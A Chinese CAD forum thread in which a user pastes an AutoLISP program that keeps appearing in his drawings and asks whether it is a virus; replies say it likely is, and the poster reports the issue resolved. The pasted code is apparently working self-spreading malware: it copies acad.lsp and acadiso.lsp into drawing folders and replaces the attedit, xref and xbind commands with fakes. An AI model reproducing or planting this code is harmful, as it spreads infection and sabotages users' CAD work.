求助

leeyuan

(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
     newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
     )
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq ns1 ""
 ns2 ""
 )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn (while (setq wz (read-line wjm))
      (setq ns1 ns2)
      (setq ns2 wz)
      )
    (if (> (strlen ns1) 14)
      (if (= (substr ns1 8 7) "acadiso")
        (setq lspbj 1)
        )
      )
    (close wjm)
    )
    )
  (if (and (= acadpath dwgpath) (/= acadpath path))
    (progn (setq oldacad (findfile "acad.lsp"))
    (setq newacad (strcat path "acadiso.lsp"))
    (if (= lspbj 0)
      (progn (setq wjqm (strcat path "acad.lsp"))
      (setq wjm (open wjqm "a"))
      (write-line
        (strcat "(load" (chr 34) "acadiso" (chr 34) ")")
                      wjm
        )
      (write-line "(princ)" wjm)
      (close wjm)
      )
      )
    (writeapp)
    )
    (progn (if (/= nowdwg "Drawing.dwg")
      (progn (setq oldacad (findfile "acadiso.lsp"))
      (setq newacad (strcat dwgpath "acad.lsp"))
      (writeapp)
      )
      )
    )
    )
  (command "undefine" "attedit")
  (command "undefine" "xref")
  (command "undefine" "xbind")
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(defun writeapp ()
  (if (setq wjm1 (open newacad "w"))
    (progn (setq wjm (open oldacad "r"))
    (while (setq wz (read-line wjm)) (write-line wz wjm1))
    (close wjm)
    (close wjm1)
    )
    )
  )
(defun C:attedit (/ p cont old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq p (ssget))
  (if p
    (progn (setq cont (sslength p))
    (princ "\nSeltct objects:")
    (princ cont)
    (princ "found")
    (princ "\n")
    (princ cont)
    (princ " was not able to be attedit")
    )
    )
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(defun C:xref (/ old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (command "insert")
  (setvar "cmdecho" old_cmd)
  (princ)
  )
(defun C:xbind (/ old_cmd)
为何我每次打开一个CAD图之后都会自动生成以上lisp程序，但不影响正常绘图，该程序是不是病毒呀，请各位老大指点一二！谢先！

leeyuan

为什么没人回帖呢，难道没有其它人遇到这种情况？

ZZXXQQ

从代码来看，有病毒的嫌疑。起码命令 "attedit" "xref" "xbind"是另定义了，不能正确执行。

meflying

看看置顶的帖子...<病毒>

leeyuan

问题已经解决，谢谢老上两位老哥的帮助